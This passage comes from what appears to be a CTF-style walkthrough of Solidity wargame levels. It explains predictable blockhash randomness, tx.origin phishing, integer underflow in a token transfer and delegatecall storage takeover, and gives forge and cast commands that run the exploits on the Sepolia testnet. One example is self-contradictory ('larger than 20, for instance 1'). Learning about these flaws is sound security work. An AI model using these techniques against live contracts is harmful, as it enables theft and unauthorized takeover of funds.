uses the current block&apos;s <code>blockhash</code> to determine the side of a coin, represented by a <code>bool</code> variable named <code>coinFlip</code>:</p><pre data-type="codeBlock" text="uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
"><code><span class="hljs-keyword">uint256</span> coinFlip <span class="hljs-operator">=</span> blockValue <span class="hljs-operator">/</span> FACTOR;
<span class="hljs-keyword">bool</span> side <span class="hljs-operator">=</span> coinFlip <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> ? <span class="hljs-literal">true</span> : <span class="hljs-literal">false</span>;
</code></pre><p>which is derived from the variable <code>blockValue</code> as a <code>uint256</code> generated from the previous block number (block&apos;s number minus 1):</p><pre data-type="codeBlock" text="uint256 blockValue = uint256(blockhash(block.number - 1));
"><code><span class="hljs-keyword">uint256</span> blockValue <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>));
</code></pre><p>this <code>FACTOR</code> variable is useless:</p><ul><li><p>first, division by a large constant does not introduce any randomness entropy at all.</p></li><li><p>second, even if this constant is private, it&apos;s still available at etherscan or by decompiling the bytecode (if the contract is not verified).</p></li></ul><pre data-type="codeBlock" text="uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
"><code>uint256 <span class="hljs-attr">FACTOR</span> = <span class="hljs-number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span><span class="hljs-comment">;</span>
</code></pre><p>finally, the &quot;randomness&quot; in this contract is calculated from on-chain deterministic data, so all we need to do is simulate <code>side</code> before we submit a guess, and repeat this ten times.</p><pre data-type="codeBlock" text="if (side == _guess) {
    consecutiveWins++;
    return true;
} else {
    consecutiveWins = 0;
    return false;
}
"><code><span class="hljs-keyword">if</span> (side <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _guess) {
    consecutiveWins<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
} <span class="hljs-keyword">else</span> {
    consecutiveWins <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
}
</code></pre><p>for this simulation, we leverage <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://book.getfoundry.sh/cheatcodes/roll?highlight=vm.roll#examples"><strong>foundry&apos;s</strong></a> <code>vm.roll(uint256)</code>, which simulates the <code>block.number</code> given by the <code>uint256</code>.</p><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>our exploit is located at <code>src/03/CoinFlipExploit.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e073f3f8b713de3d6a0171ab2d732452a9490ff61a8f2e2f55dd3bd326c45c0c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>which can be tested with <code>test/03/CoinFlip.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8a633d5ccef32fc71808ba77ea050b5cb89554585a5480fa295d8dfbea80ca49.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>running with:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract CoinFlipTest -vvvv

Running 1 test for test/03/CoinFlip.t.sol:CoinFlipTest
[PASS] testCoinFlipHack() (gas: 247316)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 670.88µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">CoinFlipTest</span> -<span class="hljs-title">vvvv</span>

<span class="hljs-title">Running</span> 1 <span class="hljs-title">test</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">test</span>/03/<span class="hljs-title">CoinFlip</span>.<span class="hljs-title">t</span>.<span class="hljs-title">sol</span>:<span class="hljs-title">CoinFlipTest</span>
[<span class="hljs-title">PASS</span>] <span class="hljs-title">testCoinFlipHack</span>(<span class="hljs-params"></span>) (<span class="hljs-params">gas: <span class="hljs-number">247316</span></span>)
<span class="hljs-title">Test</span> <span class="hljs-title">result</span>: <span class="hljs-title">ok</span>. 1 <span class="hljs-title">passed</span>; 0 <span class="hljs-title">failed</span>; 0 <span class="hljs-title">skipped</span>; <span class="hljs-title">finished</span> <span class="hljs-title">in</span> 670.88µ<span class="hljs-title">s</span>
<span class="hljs-title">Ran</span> 1 <span class="hljs-title">test</span> <span class="hljs-title">suites</span>: 1 <span class="hljs-title">tests</span> <span class="hljs-title">passed</span>, 0 <span class="hljs-title">failed</span>, 0 <span class="hljs-title">skipped</span> (<span class="hljs-params"><span class="hljs-number">1</span> total tests</span>)
</span></code></pre><p>to submit the solution, we run <code>script/03/CoinFlip.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1f14024e912362698051f8dee93be003f0ac62e53e1fb87d777707e1853b3d15.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>with:</p><pre data-type="codeBlock" text="&gt; forge script ./script/03/CoinFlip.s.sol \ 
              --broadcast -vvvv \ 
              --rpc-url sepolia

[⠰] Compiling...
No files changed, compilation skipped
Traces:
(...)

Script ran successfully.

== Logs ==
  10

## Setting up (1) EVMs.
==========================
Simulated On-chain Traces:
(...)

==========================

Chain 11155111
Estimated gas price: 3.00000004 gwei
Estimated total gas used for script: 587395
Estimated amount required: 0.0017621850234958 ETH

==========================

## Waiting for receipts.
⠄ [00:00:13] [###########################################] 11/11 receipts (0.0s)
##### sepolia
✅  [Success]Hash: 0x974e6b9a856aa81b641d4e1a5b18644b383c92feb6781edb2bd23ef19b0b8a7f
Contract Address: 0x677cB6C1682E2Fa2715B637190167FAc419a4a88
Block: 4230872
Paid: 0.000479472003835776 ETH (159824 gas * 3.000000024 gwei)

(...)

==========================

ONCHAIN EXECUTION COMPLETE &amp; SUCCESSFUL.
Total Paid: 0.001304178010433424 ETH (434726 gas * avg 3.000000024 gwei)
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>03<span class="hljs-operator">/</span>CoinFlip.s.sol \ 
              <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv \ 
              <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia

[⠰] Compiling...
No files changed, compilation skipped
Traces:
(...)

Script ran successfully.

=<span class="hljs-operator">=</span> Logs <span class="hljs-operator">=</span><span class="hljs-operator">=</span>
  <span class="hljs-number">10</span>

## Setting up (<span class="hljs-number">1</span>) EVMs.
=<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>
Simulated On<span class="hljs-operator">-</span>chain Traces:
(...)

<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

Chain <span class="hljs-number">11155111</span>
Estimated gas price: <span class="hljs-number">3.00000004</span> <span class="hljs-literal">gwei</span>
Estimated total gas used <span class="hljs-keyword">for</span> script: <span class="hljs-number">587395</span>
Estimated amount required: <span class="hljs-number">0</span><span class="hljs-number">.0017621850234958</span> ETH

<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

## Waiting <span class="hljs-keyword">for</span> receipts.
⠄ [00:00:<span class="hljs-number">13</span>] [###########################################] <span class="hljs-number">11</span><span class="hljs-operator">/</span><span class="hljs-number">11</span> receipts (<span class="hljs-number">0</span>.0s)
##### sepolia
✅  [Success]Hash: <span class="hljs-number">0x974e6b9a856aa81b641d4e1a5b18644b383c92feb6781edb2bd23ef19b0b8a7f</span>
Contract Address: <span class="hljs-number">0x677cB6C1682E2Fa2715B637190167FAc419a4a88</span>
Block: <span class="hljs-number">4230872</span>
Paid: <span class="hljs-number">0</span><span class="hljs-number">.000479472003835776</span> ETH (<span class="hljs-number">159824</span> gas <span class="hljs-operator">*</span> <span class="hljs-number">3.000000024</span> <span class="hljs-literal">gwei</span>)

(...)

<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

ONCHAIN EXECUTION COMPLETE <span class="hljs-operator">&#x26;</span> SUCCESSFUL.
Total Paid: <span class="hljs-number">0</span><span class="hljs-number">.001304178010433424</span> ETH (<span class="hljs-number">434726</span> gas <span class="hljs-operator">*</span> avg <span class="hljs-number">3.000000024</span> <span class="hljs-literal">gwei</span>)
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h2 id="h-0110-exploiting-txorigin" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0110. exploiting tx.origin</h2><p>in this challenge, we exploit the difference between solidity&apos;s global variables <code>tx.origin</code> and <code>msg.sender</code> to to <em>phish</em> with <code>tx.origin</code> and become <code>owner</code>.</p><p><code>tx.origin</code> refers to the EOA that initiated the transaction (which can be many calls ago in the stack, and never be a contract), while <code>msg.sender</code> is the immediate caller (and can be a contract).</p><p><code>tx.origin</code> is <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.sigmaprime.io/solidity-security.html#tx-origin"><strong>known for being generally vulnerable</strong></a>, and its use should be restricted to specific cases, such as denying external contracts from calling the current contract (for instance, with a <code>require(tx.origin == msg.sender)</code>).</p><blockquote><p>💎 *fun fact, this type of vulnerability resembles web2&apos;s <strong>cross-site request forgery (csrf)</strong>. exactly a decade ago, when i was getting started in security research and csrf was still heavily in the wild, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/csrf"><strong>i wrote a modification of apache&apos;s</strong></a>* <code>mod_security</code> to monitor for it. it&apos;s wild how the world has changed in a decade…</p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cff4ea8230024ce80b423a5303b01623c6a066fdb1e8cbab6c3c79841c833aa1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p><code>Telephone()</code> contract is pretty simple. first, it declares a <strong>state variable</strong> called <code>owner</code> (state variables have values permanently stored in a contract storage):</p><pre data-type="codeBlock" text="address public owner;
"><code><span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;
</code></pre><p>then we have a constructor that defines that the EOA who deploys this contract is its <code>owner</code>:</p><pre data-type="codeBlock" text="constructor() {
    owner = msg.sender;
}
"><code><span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
}
</code></pre><p>finally, we have a function to change the owner, which checks if the caller is not the owner to give the ownership. this function is our target, and to exploit it, we need to make sure that <code>tx.origin</code> and <code>msg.sender</code> are not the same:</p><pre data-type="codeBlock" text="function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">changeOwner</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _owner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) {
      owner <span class="hljs-operator">=</span> _owner;
    }
}
</code></pre><p>this can be done by creating an intermediary contract that makes a call to <code>Telephone()</code>.</p><p>this is our exploit:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/87ef20ccad232ad85301ba921b6451302a7ebb4901bc4957537ee202d79e4414.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>first, we test our solution at <code>test/04/Telephone.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/273a2e99762328afd08769e283f710e531bf0d2cf77e882a2dabe0a3d28db81c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract TelephoneTest -vvvv    
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TelephoneTest</span> -<span class="hljs-title">vvvv</span>    
</span></code></pre><p>once it passes, we submit the exploit with <code>script/04/Telephone.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/720309ca89b6132cafdbdc10a6a7a31f86e0ba0196d33022a939093d418e6fe7.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/04/Telephone.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>04<span class="hljs-operator">/</span>Telephone.s.sol \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><hr><h3 id="h-alternative-solution-with-cast" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">alternative solution with <code>cast</code></h3><p>instead of relying on our deploying script, a second option is deploying the contract directly with:</p><pre data-type="codeBlock" text="&gt; forge create src/04/TelephoneExploit.sol:TelephoneExploit \ 
              --constructor-args &lt;level address&gt; \ 
              --private-key=&lt;private-key&gt; \ 
              --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> forge create src<span class="hljs-operator">/</span>04<span class="hljs-operator">/</span>TelephoneExploit.sol:TelephoneExploit \ 
              <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-function"><span class="hljs-keyword">constructor</span>-<span class="hljs-title">args</span> &#x3C;<span class="hljs-title">level</span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>> \ 
              --<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>=&#x3C;<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>> \ 
              --<span class="hljs-title">rpc</span>-<span class="hljs-title">url</span>=&#x3C;<span class="hljs-title">sepolia</span> <span class="hljs-title">url</span>> 
</span></code></pre><p>note that we would have to slightly modify our exploit to create an instance of <code>Telephone</code> instead of receiving it as an argument (with <code>level</code>).</p><p>something like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/9aac505ad3a24d9aa1561f0dd25e6b2b6c64de9b1faacd969eb7e6d83bf6f99d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>to call the exploit, we run:</p><pre data-type="codeBlock" text="&gt; cast send &lt;deployed address&gt; &quot;changeOwner()&quot; \ 
                    --private-key=&lt;private-key&gt; \ 
                    --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> cast send <span class="hljs-operator">&#x3C;</span>deployed <span class="hljs-keyword">address</span><span class="hljs-operator">></span> <span class="hljs-string">"changeOwner()"</span> \ 
                    <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">></span> \ 
                    <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>sepolia url<span class="hljs-operator">></span> 
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h2 id="h-0111-exploiting-integer-overflows" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0111. exploiting integer overflows</h2><p>in this challenge, we explore a classic vulnerability in both web2 and web3 security: <strong>integer overflows</strong>.</p><p>this is the vulnerable contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/45997314a506725fc6417e3999f403bfb28eb63cbabc1ac65941baae13942f2c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>programming languages that are not memory-managed can have their integer variables overflown if assigned to values larger than the variables&apos; capacity limit.</p><p>we will use this trick to overflow a <code>uint</code> and bypass the <code>require()</code> check of <code>Token()</code>&apos;s <code>transfer()</code> function:</p><pre data-type="codeBlock" text="function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value &gt;= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _to, <span class="hljs-keyword">uint</span> _value</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span> _value <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> _value;
    balances[_to] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> _value;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre><p>whenever we add <code>1</code> to a variable&apos;s maximum value, the value wraps around and decreases.</p><p>for example, an (unsigned) <code>uint8</code>, has the maximum value of <code>2^8 - 1 = 255</code>. if we add <code>1</code> to it, it becomes <code>0</code>. same as <code>2^256 - 1 + 1</code>.</p><p>symmetrically, if we subtract a value larger than what the variable holds, the result wraps around from the other side, increasing the variable&apos;s value. this is our exploit.</p><p>if we pass a <code>_value</code> to <code>transfer()</code> that is larger than <code>20</code>, for instance <code>1</code>, <code>balances[msg.sender] - _value</code> results on <code>uint256(-1)</code>, which is equal to a very large number, <code>2^256 – 1</code>.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity-by-example.org/hacks/overflow/"><strong>in solidity, this type of integer overflow used to be a vulnerability until version</strong></a> <code>0.8.0</code>.</p><p>this is why contracts were advised to use <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/contracts/4.x/utilities#math"><strong>OpenZeppelin&apos;</strong></a> <code>SafeMath.sol</code> whenever they performed integer operations. in newer versions, if the code is not performing these operations, we can use <code>unchecked</code> to save gas.</p><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>since this challenge is so easy, we skip tests and go directly to the submission script, <code>script/05/Token.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ca84f77523753cfd8d063edc3cce6cfee2710d37ef9a72673c3e4fb6a0b33c0a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>running with:</p><pre data-type="codeBlock" text="&gt; forge script ./script/05/Token.s.sol --broadcast -vvvv --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>05<span class="hljs-operator">/</span>Token.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h2 id="h-1000-exploiting-delegatecall" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1000. exploiting delegatecall</h2><p>in this challenge, we become <code>owner</code> by leveraging an attack surface generated from implementing the low-level function <code>delegatecall</code> (from opcode <code>DELEGATECALL</code>).</p><p>exploitation of <code>delegatecall()</code> has been in several hacks in the wild, for example <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7"><strong>the parity multisig wallet hack, in 2017</strong></a>.</p><p>this is the vulnerable contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8025f83219f5448d468a8f8fd3983d4b7f4d2810b7bf5b4205c49630224d9f39.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p><code>CALL</code> and <code>DELEGATECALL</code> opcodes allow ethereum developers to modularize their code.</p><p>standard external message calls are handled by <code>CALL</code> (code is run in the context of the external contract/function).</p><p><code>DELEGATECALL</code> is almost identical, except that the code executed at the targeted address is run in the context of the calling contract (useful when writing libraries and for proxy patterns).</p><p>when a contract executes <code>DELEGATECALL</code> to another contract, this contract is executed with the original contract <code>msg.sender</code>, <code>msg.value</code>, and storage (in particular, the contract&apos;s storage can be changed).</p><p>finally, the function <code>delegatecall()</code> is a way to <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity-by-example.org/delegatecall/"><strong>make these external calls to other contracts</strong></a>.</p><p>in this problem, we are provided with two contracts. <code>Delegate()</code> is the parent contract, which we want to become <code>owner</code> of. conveniently, the function <code>pwn()</code> is very explicit on being our target:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6aa8024b62342b722ae3a4c102158d6952316a6552a0fa7485ce8804facaff66.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>now, note that the variable <code>owner</code> is in the first slot of both contracts.</p><p>ordering of variable slots (and their mismatches) are what <code>DELEGATECALL</code> exploits in the wild usually explore.</p><p>this is important because we are dealing with opcodes, as every variable has a specific slot and should match in both the origin and destination contracts.</p><p>in our case, we when trigger the fallback in <code>Delegate()</code> to generate a delegate call to run <code>pwn()</code> in <code>Delegation()</code>, the <code>owner</code> variable (which is at <code>slot0</code> of both contracts) updates <code>Delegation()</code>&apos;s storage <code>slot0</code>.</p><p>the second contract, which we have access, is <code>Delegation()</code>, comes with has another convenience: a <code>delegatecall()</code> in the <code>fallback</code> function.</p><p>this fallback function is simply forwarding everything to <code>Delegate()</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d56870f52f024d09dd7a6b243ae535de8eab9e9c7ccec73892e1121fa95003c8.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>from a previous challenge, we know that fallback functions are like a &quot;catch-all&quot; in a contract, so it&apos;s pretty easy to access them.</p><p>in this particular case, <code>delegatecall()</code> takes <code>msg.data</code> as input (<em>i.e.</em>, whatever data we pass when we trigger the fallback). it&apos;s pretty much an <code>exec</code>, as we can pass function calls through it.</p><p>the last information we need is to learn how <code>deletecall()</code> passes arguments.</p><p>the function signatures are encoded by computing <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity-by-example.org/hashing/"><strong>Keccak-246</strong></a> and keeping the first 4 bytes (the function selector in the EVM).</p><pre data-type="codeBlock" text="delegatecall(abi.encodeWithSignature(&quot;func_signature&quot;, &quot;arguments&quot;));
"><code>delegatecall(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"func_signature"</span>, <span class="hljs-string">"arguments"</span>));
